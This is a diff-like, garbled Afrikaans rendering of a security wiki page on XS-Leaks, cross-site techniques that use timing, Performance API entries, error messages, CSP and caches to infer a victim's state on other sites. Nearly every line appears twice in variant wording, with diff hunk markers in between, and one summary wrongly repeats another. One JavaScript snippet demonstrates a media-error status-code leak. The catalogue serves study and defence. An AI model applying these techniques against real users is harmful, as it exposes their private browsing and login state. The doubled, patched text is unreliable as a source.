4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in die tou wees totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat met die 256ste sok (die teikenbladsy se sok) verband hou. Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds besig is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat dit neem vir die 256ste sok om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Verbinding Poel volgens Bestemming
- **Insluitingsmetodes**: JavaScript Versoeke
- **Waarneembare Verskil**: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
- **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**:
- **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5** blokkeer en dan 'n 6de versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
- **Samevatting:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5 blokkeer** en dan 'n 6de versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
## Prestasie API Tegnieke
Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasie metrieke van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsduur moontlik, soos die duur van die versoeke. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soek tyd beskikbaar word.
Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasie metrieke van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tyds in, soos die duur van die versoeke. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soektijd beskikbaar word.
Hierdie rykdom van data kan verkry word via metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende oorsig van prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoerings tye deur die verskil tussen tydstempels wat verkry is van [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in browers soos Chrome, die presisie van `performance.now()` moontlik beperk is tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.
Hierdie rykdom van data kan verkry word via metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende oorsig van prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoerings tye deur die verskil tussen tydstempels wat verkry is van [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in blaaiers soos Chrome, die presisie van `performance.now()` moontlik beperk kan wees tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.
Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render as gevolg van `X-Frame-Options`, sal dit nie in die `performance` objek geregistreer word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render, sal dit nie in die `performance` objek opgeteken word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
### Fout Lek
- **Insluitingsmetodes**: Frames, HTML Elemente
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** 'n Versoek wat in foute eindig, sal nie 'n hulpbron tydsduur inskrywing skep nie.
- **Samevatting:** 'n Versoek wat in foute eindig, sal nie 'n hulpbron tydsregistrasie inskrywing skep nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Dit is moontlik om **te onderskei tussen HTTP antwoord statuskodes** omdat versoeke wat tot 'n **fout** lei, **nie 'n prestasie inskrywing** skep nie.
@ -297,37 +297,37 @@ Dit is moontlik om **te onderskei tussen HTTP antwoord statuskodes** omdat verso
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** As gevolg van 'n browser fout, word versoeke wat in foute eindig, twee keer gelaai.
- **Samevatting:** As gevolg van 'n blaaiersfout, word versoeke wat in foute eindig, twee keer gelaai.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar browser foute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar blaaiersfoute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
### Versoek Samesmelting Fout
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Versoeke wat in 'n fout eindig, kan nie saamgevoeg word nie.
- **Samevatting:** Versoeke wat in 'n fout eindig, kan nie saamgesmelt word nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing van die tegniek is daarin gevind nie. Tog kan jy die bronkode vind wat daarna kyk in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Die tegniek is in 'n tabel in die genoemde papier gevind, maar daar is geen beskrywing van die tegniek daarin gevind nie. Tog kan jy die bronkode vind wat daarna kyk in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Leë Bladsy Lek
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Leë antwoorde skep nie hulpbron tydsduur inskrywings nie.
- **Samevatting:** Leë antwoorde skep nie hulpbron tydsregistrasie inskrywings nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
'n Aanvaller kan detecteer of 'n versoek tot 'n leë HTTP antwoord liggaam gelei het omdat **leë bladsye nie 'n prestasie inskrywing in sommige browers** skep nie.
'n Aanvaller kan detecteer of 'n versoek tot 'n leë HTTP antwoord liggaam gelei het omdat **leë bladsye nie 'n prestasie inskrywing in sommige blaaiers** skep nie.
### **XSS-Auditor Lek**
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Deur die XSS Auditor in Sekuriteits Aserte te gebruik, kan aanvallers spesifieke webblad elemente detecteer deur veranderinge in antwoorde waar te neem wanneer vervaardigde payloads die auditor se filtreringsmeganisme aktiveer.
- **Samevatting:** Deur die XSS Auditor in Sekuriteits Aserte te gebruik, kan aanvallers spesifieke webblad elemente detecteer deur veranderinge in antwoorde waar te neem wanneer vervaardigde payloads die auditor se filtreringsmeganisme aktiveer.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat lei tot vals positiewe. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.
@ -337,7 +337,7 @@ In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Si
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Header
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Opsomming:** Hulpbron met X-Frame-Options header skep nie hulpbron tydsduur inskrywing nie.
- **Samevatting:** Hulpbron met X-Frame-Options header skep nie hulpbron tydsregistrasie inskrywing nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
As 'n bladsy **nie toegelaat** word om in 'n **iframe** te **render** nie, sal dit **nie 'n prestasie inskrywing** skep nie. As gevolg hiervan kan 'n aanvaller die antwoord header **`X-Frame-Options`** detecteer.\
@ -348,51 +348,51 @@ Dieselfde gebeur as jy 'n **embed** **etiket** gebruik.
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Header
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Aflaaie skep nie hulpbron tydsduur inskrywings in die Prestasie API nie.
- **Samevatting:** Aflaaie skep nie hulpbron tydsregistrasie inskrywings in die Prestasie API nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Soos die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot browers.
Soortgelyk aan die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot blaaiers.
### Oorplasing Begin Lek
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Oorplasing
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Hulpbron tydsduur inskrywing lek die begin tyd van 'n oorplasing.
- **Samevatting:** Hulpbron tydsregistrasie inskrywing lek die begin tyd van 'n oorplasing.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Ons het een XS-Lek geval gevind wat die gedrag van sommige browers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in **SA** is dit moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
Ons het een XS-Lek geval gevind wat die gedrag van sommige blaaiers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in **SA** is dit moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
### Duur Oorplasing Lek
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Oorplasing
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Die duur van tydsinskrywings is negatief wanneer 'n oorplasing plaasvind.
- **Samevatting:** Die duur van tydsregistrasie inskrywings is negatief wanneer 'n oorplasing plaasvind.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
In GC, is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief** en kan dus **onderskei** word van versoeke wat nie in 'n oorplasing eindig nie.
In GC is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief** en kan dus **onderskei** word van versoeke wat nie in 'n oorplasing eindig nie.
### CORP Lek
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Header
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Opsomming:** Hulpbron wat met CORP beskerm word, skep nie hulpbron tydsduur inskrywings nie.
- **Samevatting:** Hulpbron wat met CORP beskerm word, skep nie hulpbron tydsregistrasie inskrywings nie.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebruik word. In GC, wanneer die **CORP header** gestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal genereer nie.
In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebruik word. In GC, wanneer die **CORP header** gestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal skep nie.
### Dienswerker
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: API Gebruik
- **Meer inligting**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Opsomming:** Detecteer of 'n dienswerker geregistreer is vir 'n spesifieke oorsprong.
- **Samevatting:** Detecteer of 'n dienswerker geregistreer is vir 'n spesifieke oorsprong.
- **Kode Voorbeeld**:
Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne onderskep, wysig, en **kas** om offline webtoepassings te skep.\
As 'n **hulpbron wat in 'n **dienswerker** gekas is, via **iframe** toeganklik gemaak word, sal die hulpbron **uit die dienswerker kas** gelaai word.\
Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne onderskep, wysig, en **kas** om 'n aflyn webtoepassing te skep.\
As 'n **hulpbron wat in 'n **dienswerker** kas** gestoor is, via **iframe** toeganklik gemaak word, sal die hulpbron **uit die dienswerker kas gelaai** word.\
Om te detecteer of die hulpbron **uit die dienswerker** kas gelaai is, kan die **Prestasie API** gebruik word.\
Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).
@ -401,17 +401,17 @@ Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Tydsberekening
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Opsomming:** Dit is moontlik om te kyk of 'n hulpbron in die kas gestoor is.
- **Samevatting:** Dit is moontlik om te kyk of 'n hulpbron in die kas gestoor is.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
Deur die [Prestasie API](#performance-api) is dit moontlik om te kyk of 'n hulpbron gekas is.
Met behulp van die [Prestasie API](#performance-api) is dit moontlik om te kyk of 'n hulpbron in die kas gestoor is.
### Netwerk Duur
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Opsomming:** Dit is moontlik om die netwerk duur van 'n versoek van die `performance` API te verkry.
- **Samevatting:** Dit is moontlik om die netwerk duur van 'n versoek van die `performance` API te verkry.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Foutboodskappe Tegniek
@ -421,7 +421,7 @@ Deur die [Prestasie API](#performance-api) is dit moontlik om te kyk of 'n hulpb
- **Insluitingsmetodes**: HTML Elemente (Video, Audio)
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Opsomming:** In Firefox is dit moontlik om akkuraat 'n kruis-oorsprong versoek se statuskode te lek.
- **Samevatting:** In Firefox is dit moontlik om akkuraat 'n kruis-oorsprong versoek se statuskode te lek.
- **Kode Voorbeeld**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
@ -470,38 +470,38 @@ err.message +
audioElement.onerror = errHandler
}
```
Die `MediaError` koppelvlak se boodskap eienskap identifiseer uniek hulpbronne wat suksesvol gelaai is met 'n spesifieke string. 'n Aanvaller kan hierdie kenmerk benut deur die boodskapinhoud te observeer, en so die responsstatus van 'n kruis-oorsprong hulpbron af te lei.
Die `MediaError` interface se boodskap eienskap identifiseer uniek hulpbronne wat suksesvol gelaai word met 'n spesifieke string. 'n Aanvaller kan hierdie kenmerk benut deur die boodskapinhoud te observeer, en so die responsstatus van 'n kruis-oorsprong hulpbron af te lei.
### CORS Fout
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Header
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Opsomming:** In Veiligheidsverklarings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Opsomming:** In Veiligheidsverklarings (SA) stel CORS-foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n **CORS-geaktiveerde versoek** na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaier die versoek daarna ontken, word die **volle URL van die omleiding se teiken** binne die foutboodskap bekend gemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat, bloot.
Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n **CORS-geaktiveerde versoek** na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaier die versoek daarna ontken, word die **volle URL van die omleiding se teiken** in die foutboodskap bekend gemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige **sensitiewe vraeparameters** wat dit mag bevat bloot.
### SRI Fout
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Header
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Opsomming:** In Veiligheidsverklarings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Opsomming:** In Veiligheidsverklarings (SA) stel CORS-foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat gewoonlik van CDN's af gelaai word, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsverklarings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout ontlok** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag word, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsverklarings (SA), soortgelyk aan die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout veroorsaak** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
### CSP Oortreding/Detectie
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word en ons probeer om na 'n ander domein te herlei, sal die CSP 'n waarneembare fout ontlok.
- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word, en ons probeer om na 'n ander domein te herlei, sal die CSP 'n waarneembare fout veroorsaak.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **herlei** dit na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding ontlok is.
'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar boonop lek die domein van die omleidingsteiken. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **herlei** dit na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
Moderne blaaiers sal nie die URL aandui waarnatoe dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding geaktiveer is.
### Cache
@ -513,7 +513,7 @@ Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy k
Blaaiers mag een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy 'n **spesifieke lêer aangevra het**.
As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron** **ongeldig maak** (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai **nie enige fout ontlok het nie**, is dit omdat dit **in die cache was**.
As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron** **ongeldig maak** (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels nie), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop). As die hulpbron laai **nie enige fout veroorsaak het nie**, is dit omdat dit **in die cache was**.
### CSP Riglyn
@ -523,7 +523,7 @@ As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpb
- **Opsomming:** CSP header riglyne kan ondersoek word met die CSP iframe eienskap, wat beleidsbesonderhede onthul.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om 'n **Inhoudsekuriteitsbeleid (CSP)** voor te stel deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP header goedkeur**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
